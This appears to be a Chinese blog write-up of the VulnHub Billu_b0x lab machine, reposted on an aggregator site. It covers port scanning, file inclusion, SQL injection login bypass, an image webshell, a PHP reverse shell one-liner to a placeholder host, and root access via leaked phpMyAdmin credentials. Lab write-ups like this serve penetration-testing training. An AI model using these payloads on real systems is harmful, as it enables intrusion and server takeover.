红队打靶:billu_b0x打靶思路详解(vulnhub)

news2024/11/28 6:25:19

目录

写在开头

第一步:主机发现和端口扫描 

第二步:Web渗透

第三步:利用文件包含进行代码审计

第四步:图片马上传与反弹shell

第五步:敏感文件提权

总结与思考

写在开头

 我的博客等级终于到三级了,感谢各位读者的支持!现在可以自定义文章标签,不用每篇博客标签都是Web安全了嘿嘿... 

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度也不高,但还是有很多值得思考的地方,尤其是对php代码的理解。本文的打靶过程涉及到关于SQL注入、文件包含漏洞利用、php代码审计、图片马的制作等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:

「红队笔记」靶机精讲:Billu b0x - 大练兵,涉及SQL注入,文件包含,代码审计和图片木马,细节满满。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

billu: b0x ~ VulnHub

  下载链接见:

https://download.vulnhub.com/billu/Billu_b0x.zip

 本靶机的目标是拿到root权限。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:

第一步:主机发现和端口扫描 

  常规思路,不细讲了。有关主机发现和端口扫描的命令详见我的这篇博客中关于nmap的部分:渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.135
nmap -sT -sV -O -sC -p22,80 10.10.10.135
nmap -sU --min-rate 10000 -p- 10.10.10.135
nmap --script=vuln -p22,80 10.10.10.135

  扫出来靶机的ip是10.10.10.135,仅仅开放了22和80端口,看来这回的入口点就是Web了。再使用默认脚本扫描,并探测开放服务和操作系统版本如下:

 可以确定是一个Ubuntu的机器,内核版本有个范围。80端口是用的apache服务,版本为2.2.22。漏洞扫描也没看出个啥。

第二步:Web渗透

 由于开放了80端口,直接浏览器访问试试:

 是个很炫酷的登录界面,同时登录框上面还写了一句话,向我展示你的SQLI技巧,那应该这里就是考察SQL注入了。管他三七二十一,把Username和Password都先用万能密码试一试:

' or 1=1 #

 果然不对,每那么简单,万能密码是无法登录的,也没有出现报错提示信息,仅仅弹框提示Try again。

 看了一眼源代码也没发现啥有用的东西,干脆整个目录爆破看一看。平常目录爆破总用dirb,这回换一个,用gobuster试试吧。

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.135

dir指定进行目录枚举,-w指定字典,这里选择比较常规的的directory-list-2.3-medium.txt,-u指定url,爆破结果如下,还是有很多信息的: 

那就一个一个看吧,先看images,这应该是个目录:

 这个路径直接暴露了目录下的几张图片,其中一张是登录界面的图片。说不定未来我们可以在这里上传shell。然后继续查看其他路径。index路径就是初始界面,/in的路径界面如下:

 这个页面就是phpinfo()的页面呀,还是有很多有意义的信息,包括php的版本、Linux内核的具体版本是3.13.0-12。我们继续看剩下的目录,/c和/show都是空白页面,没有什么信息,/add界面貌似可以进行图片上传:

 经过我的尝试,发现这里是无法上传图片的。可能此时我们还没有拿到合适的权限。然后看/test路径:

 这个界面就有意思了,提示我们说file参数是空的,请给file参数提供路径。莫非这里存在文件包含的漏洞?而file就是文件包含的关键参数。那么我们尝试在url中给出file参数,尝试读取/etc/passwd文件试试:

 然而并无反应,再将路径换为../../../../../../etc/passwd也无法读取。那既然get请求无法获取,莫非这个file参数是在post请求中的吗?那咱就试一试嘛,可以用burpsuite这种工具进行改包进行POST请求,我这里就直接用curl进行请求,采用post的方式添加参数即可(-d相当于--data,添加POST的参数):

curl -d "file=/etc/passwd" http://10.10.10.135/test

 读出来了!这是个重大突破呀,我们发现了文件包含的利用位置。因此我们可以通过file这个参数去读取靶机内的文件了。看一眼这个passwd文件,重点寻找有bash的用户,发现除了root,就只有一个ica,这或许是我们重点关注的账户。尝试读取/etc/shadow,发现失败了。不过这应该确实是个关键的位置,一会我们读取其他文件的时候应该会起到作用。先看下一个文件吧,/head和/head2都是一张图片没有太多价值。而/uploaded_image目录又暴露了一些图片,点开看好像都是加勒比海盗杰克船长的图片,可能未来也有在此上传shell的可能。 

 可以哈,这剧照还是挺炫酷的。下一个路径是/panel,会被重定向到初始登录界面,有理由怀疑,这个界面就是登录后的路径,由于此处我们还没有登录,因此直接访问会被重定向。

总结下Web渗透的过程,我们进行了目录爆破,发现了几个有价值的目录和文件路径,其中/image和/uploaded_images都是图片的目录,且暴露了目录下的图片。我们还发现了关键的路径/test中的file参数存在文件包含,可以读取系统中的文件。 

第三步:利用文件包含进行代码审计

下面我们利用/test路径下的参数file读取靶机系统中的文件,可以先看一看网页的源代码。先查看index.php试一试吧:

curl -d "file=index.php" http://10.10.10.135/test  

 可以看到index.php中先包含了两个文件c.php和head.php,继续往下看,惊奇的发现了登录的逻辑:

 这里的核心逻辑就是三行:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

可以看出,还是对输入的username和password进行了拼接,只是将前端输入的内容中的单引号转换为了空字符(过滤掉了单引号'),那么如果我们把username和password都设置为万能密码后加一个反斜杠\,即可成功注入,即为:

or 1=1 #\

 当然也可以设置为:

用户名:\ 
密码: or 1=1 #

 这样进行注入的大致思路我的理解就是反斜杠(\)会被解释为转义字符。登录成功后,成功进入了panel.php。说实话,这种注入思路在红队笔记大佬的视频中被说是显然,我其实感觉还是有点不清晰。

 这个界面可以看到两张图片和地址,这两张图片有点眼熟呀,不就是/uploaded_image目录下的文件嘛。同时我们还可以在这个页面上传图片。经过测试是能够上传的,那我们可以回头试一试能不能上传图片马。此时我们先进行代码审计试试:

用文件包含漏洞读取c.php的源码:

 貌似得到了一个数据库的账号和密码。结合之前passwd文件中的用户ica,我们可以尝试用这几个数据进行ssh登录,很遗憾,都失败了(仅仅是碰撞尝试)。(后来才知道,这个数据库密码是有作用的,只是这篇博客的思路没用上)。又读了其他php文件,并没有太多收获。

第四步:图片马上传与反弹shell

 既然panel这个页面可以上传图片,那我们尝试上传个图片马吧,首先搞一张图片,比如我随便传了一张图片到kali,名为just_sleep.png:

 我们构建一个shell.php,代码如下:

<?php system($_GET['a']); ?>

 把这个shell.php追加到just_sleep.png图片中:

cat shell.php >> just_sleep.png

当然你也可以直接vim just_sleep.png,在图片的末尾加上<?php system($_GET['a']); ?>

 这样这个图片马就做好了,把他上传到panel界面,还要填写address,name和序号 ,随便填写即可,然后上传成功了:

 回到/upload_image目录,确实可以看到我们上传的图片马:

 但是在这个界面点击just_sleep.png是无法触发php的代码执行的。那么我们就要寻找其他的路径触发php代码执行。首先想到的路径就是panel.php本身,因为这个php页面可以包含其他的php文件,因此我们重新访问panel.php并用burpsuite抓包如下:

 可以看到请求中load参数添加的是show,我们修改这个参数为刚刚图片马的路径,并在请求体的第一行添加命令a=whoami,看看能否触发代码执行:

 成功触发代码执行了,那么我们只要把命令改为反弹shell即可,反弹shell的命令为:

php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

 其中的x.x.x.x为接收反弹shell的地址,即kali的地址。建立nc监听1234端口后,在a参数中添加反弹shell的命令,发现并没有反弹shell:

 可是之前已经尝试了,刚刚这里已经成功代码执行了呀。那估计就是url编码的问题了,我们把这个反弹shell的语句进行url编码即可反弹成功:

 

第五步:敏感文件提权

 既然已经进来了,那下一步就是提权,先尝试sudo -l查看当前的权限:

 没有tty,这是shell不完全的问题,用python启动一个shell:

python -c "import pty;pty.spawn('/bin/bash')"

然后在此执行sudo -l 

 问我们要密码,我们是反弹shell进来的,不知道密码。看来此路不通。那就到web目录翻找翻找,看看有没有什么敏感文件之类的吧。

 发现当前目录基本上都是目录爆破的结果,我们都看过了,但有一个phpmy的目录,之前没有爆破出来。这有可能就是phpmyadmin的管理系统。我们进入这个目录看看有没有啥配置文件:

 果然就是phpmyadmin的管理系统,可以看到配置文件config.inc.php,我们查看这个配置文件:

 看到了一个用户名和密码,恰巧用户名就是root,这应该是个数据库的密码,不过我们也可以碰撞尝试ssh登录root账户,密码roottoor。发现直接ssh登录了root账户。

 成功拿到了root权限,至此这个靶机就打完了。

总结与思考

 这个靶机也不难,但是细节还挺多的。比如使用POST的方法寻找文件包含的漏洞参数、读取index.php的源码确定sql注入的逻辑、上传图片马、找到触发图片马执行的路径、反弹shell的指令要进行url编码、敏感文件搜索碰撞数据库密码与ssh账号密码等等。最后还是总结以下本文的打靶过程:

1.主机发现和端口扫描

2.Web渗透:目录爆破扫出来一大堆文件,找到了一个/test路径提示存在文件包含,最后使用POST方法成功触发了读取文件。

3.SQL注入:文件包含读取index.php的代码逻辑,发现登录框还是使用了拼接的语句,存在sql注入。成功注入登录进入了panel页面。

4.图片马的上传。上传图片马后直接访问图片马的路径无法执行php代码,需要通过访问panel再进行改包加载图片马,添加反弹shell的命令触发代码执行。

5.敏感文件搜索发现phpmy目录,进入后找到了一个用户名root和密码,尝试ssh登录即可获得root的shell。

 同时这个靶机也给了我们一个启示: 信息搜集如果能更加完整,会省很多兜圈子的操作。如果我们在最初进行目录爆破的时候就爆破出了phpmy这个目录,找到文件包含的路径后就可以直接读取其中的config.inc.php从而获取ssh登录的root凭据,就不用兜圈子走这一大圈了。不过绕了这一大圈也是有不少收获的。

另外本文还有另外一种思路,就是如果我们开始扫到了phpmy,web访问这个页面的结果如下:

 这是phpMyAdmin的管理界面,如果能登录其中,必然可以看到很多关键信息。而这个登录密码可以通过文件包含读取c.php得到:

 登录成功后即可看到很多数据库的信息,可以直接获得web界面的登录密码,无需再注入了。

最后我还是想吐槽一下CSDN中的许多打靶文章,有种已知答案猜答案的感觉,既然有为了扫描出phpmy而专门换字典的(你都知道有phpmy了还扫个p),还有直接爆破ssh直接root(照这种扯淡思路,建议以后开放22端口的靶机直接爆破root)的,我感觉这些都缺乏逻辑。然后我尝试了一下如何能扫描出phpmy,用dirb的默认方式,或使用字典directory-list-2.3-medium.txt都是无法爆破出phpmy的,这是字典比较小的问题。如果使用字典/usr/share/wordlists/dirb/big.txt 进行爆破确实是可以爆破出phpmy的,看来以后要换大字典了。

 我还试了一下,使用dirsearch的默认方法也可以扫出来phpmy。信息搜集一定要全呀!

学习渗透一定要实操呀!到此这个靶机就讲解完毕了。靶机不难,总结不易,打靶的过程要有自己的思考,不能只是单纯的复现writeup。近期打算再总结总结渗透中的信息搜集思路以及其他技巧,希望读者能够点赞关注多多支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/763940.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python接口自动化搭建过程,含request请求封装

开篇碎碎念 接口测试自动化好处 显而易见的好处就是解放双手&#x1f600;。 可以在短时间内自动执行大量的测试用例通过参数化和数据驱动的方式进行测试数据的变化&#xff0c;提高测试覆盖范围快速反馈测试执行结果和报告支持持续集成和持续交付的流程 使用Requestspytes…

Attention Is All Your Need

q,k,v是一个东西(自注意力) 由于位置编码通过sin和cos得到,在+-1之间抖动,因此为了与embedding相加scale匹配,所以embedding除以根号dk 注意力机制:注意力函数 quary(不同的q) 和 k 的相似度决定了value对应的权重(不同的权重)相加得到 (不同的)输出 英文积累…

宠物赛道又出爆品!TikTok播放破千万!

在欧美国家&#xff0c;养宠的风潮已经持续百年。美国作为全国第一大的宠物市场&#xff0c;其家庭的养宠率高达70%。有关数据显示&#xff0c;美国目前26-41岁人群比例占比最大&#xff0c;已达到32%&#xff0c;42-57岁人群比例下降到24%。 养宠人群逐渐呈现年轻化&#xff0…

参数名的映射,小心使用strict=False

从vgg16-397923af.pth里读取的数值应该和加载预训练模型后model.load_state_dict参数一致。 而我的不一致&#xff01; 原因&#xff1a;在载入参数到模型键值的不匹配&#xff0c;所以使用了strictFalse。 解决办法&#xff1a; 进行参数名的映射&#xff0c;将不匹配的参数名…

不看不知,道,一键ai绘画软件也能生成这么好看的图片

结构&#xff1a; 前阵子&#xff0c;我朋友发了几张男生的照片在朋友圈&#xff0c;我还以为是她脱单了&#xff0c;赶紧给她送上了祝福。 她收到我的祝福后&#xff0c;笑嘻嘻地跟我解释说&#xff1a;“那几张图是我用AI绘画软件生成的&#xff0c;是不是很看起来很真呀&a…

一款剧情特别优秀的ARPG 游戏《FC魔神英雄传》

文章目录 介绍游戏发行游戏玩法 游戏剧情详细介绍游戏开始阶段剧情任务汇总&#xff1a;草原阶段冰川阶段海边阶段丛林阶段沙漠阶段湖泊阶段草原2阶段海边2阶段冰川2阶段山脉阶段 世界地图汇总 道具系统装备系统战斗系统战斗规则魔法技能魔法学习方式 游戏优点游戏缺点该游戏值…

接口测试 使用 rest-assured 进行接口测试

目录 前言 正文 1.HTTP 状态码 2.节点值验证 3.格式化打印 json 4.参数化 5.响应时间 6.JSON Schema Validation 前言 使用Rest-Assured进行接口测试是一个很好的选择。Rest-Assured是一个基于Java的开源库&#xff0c;专门用于简化和增强RESTful接口的测试。它提供了…

我在VScode学Java类与对象(Java的类与对象、this关键字)第一辑

我的个人博客主页&#xff1a;如果’真能转义1️⃣说1️⃣的博客主页 关于Java基本语法学习---->可以参考我的这篇博客&#xff1a;《我在VScode学Java》 关于我在VScode学Java&#xff08;Java方法method&#xff09; 类是描述了一组有相同特性&#xff08;属性&#xff09…

python_selenuim获取csdn新星赛道选手所在城市用echarts地图显示

文章目录 ⭐前言⭐selenuim获取新星赛道选手主页&#x1f496; 获取参赛选手主页思路分析&#x1f496; 获取参赛选手ip属地思路分析&#x1f496; echarts可视化展示 ⭐结束 ⭐前言 大家好&#xff0c;我是yma16&#xff0c;本文分享python_selenuim获取csdn新星赛道选手所在…

Requests —— Requests模块获取响应内容

Requests模块获取响应内容 响应包括响应行、响应头、响应正文内容&#xff0c;这些返回的响应信息都可以通过Requests模块获取。这些 获取到的响应内容也是接口测试执行得到的实际结果。 获取响应行 获取响应头 获取其它响应信息 代码示例&#xff1a; # 导入requests模块…

特征工程和多项式回归

特征工程的定义 特征工程&#xff08;Feature Engineering&#xff09;特征工程是将原始数据转化成更好的表达问题本质的特征的过程&#xff0c;使得将这些特征运用到预测模型中能提高对不可见数据的模型预测精度。 特征工程简单讲就是发现对因变量y有明显影响作用的特征&#…

【kubernetes系列】Kubernetes之配置dashboard安装使用

Kubernetes之配置dashboard 概述 Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中&#xff0c;也可以对容器应用排错&#xff0c;还能管理集群资源。 你可以使用 Dashboard 获取运行在集群中的应用的概览信息&#x…

MybatisPlus-2

springmybatismybatisplus 创建mapper接口&#xff0c;继承BaseMapper<obj>&#xff0c;obj为你需要操作的数据表创建对应的实体类配置数据源 4.设置配置文件 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.spri…

华为OD机试真题 Java 实现【拔河比赛】【2023 B卷 100分】,附详细解题思路

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

JavaWeb 速通Servlet(上)

目录 一、Servlet快速入门 1.为什么需要Servlet&#xff1f; 2.什么是Servlet? 3.Servlet开发说明 : 4.入门案例 : 二、 Servlet生命周期 1.浏览器请求Servlet的流程分析&#xff08;重要&#xff09; : 2.生命周期 : 1 初始化阶段 2 处理请求阶段 3 终止阶段 三、Serv…

归并排序C语言

基本思想 归并排序&#xff08;MERGE-SORT&#xff09;是建立在归并操作上的一种有效的排序算法,该算法是采用分治法&#xff08;Divide andConquer&#xff09;的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff1b;即先使每个子序列有序&a…

火焰图性能监测

准备工作——安装perf 我是在github的codespace上搞的&#xff0c;可以按下面的方式安装perf&#xff1a; sudo apt install linux-tools-generic sudo apt install linux-cloud-tools-azure参考在WSL2中使用perf性能剖析工具 测试程序——简单的C程序 弄一个无限循环的C程…

SpringMVC的数据响应-19

新的上面也是相当于放到域当中了 sel表达式&#xff0c;取你键值对的名称&#xff0c;使用前创造jsp文件 这个地域里面放什么都行 上面的内容也是ModelandView弄个文件记下来 1、新的方法&#xff0c;你在参数这里可以加一个ModelandView 往里面放点数据和视图名称 这种方法也能…

【hadoop】centos7.6+hadoop3.1.1搭建分布式hadoop环境——包含各类问题解决方案

本文针对centos7.4即以上版本的hadoop环境搭建&#xff0c;因为这部分搭建是个很复杂且很容易出错的内容&#xff0c;所以在结合了多种搭建方案后给出最适宜当前版本的搭建。 目录 一、准备阶段环境要求软件版本要求配置部署环境 二、部署阶段部署ZooKeeper安装ZooKeeper并配置…

华为云CodeArts Check代码检查新手操作指南

代码检查服务是基于云端实现代码质量管理的服务&#xff0c;软件开发者可在编码完成后执行多语言的代码静态检查和安全检查&#xff0c;获取全面的质量报告&#xff0c;并提供缺陷的分组查看与改进建议&#xff0c;有效管控代码质量&#xff0c;确保产品原生高质量和产品安全&a…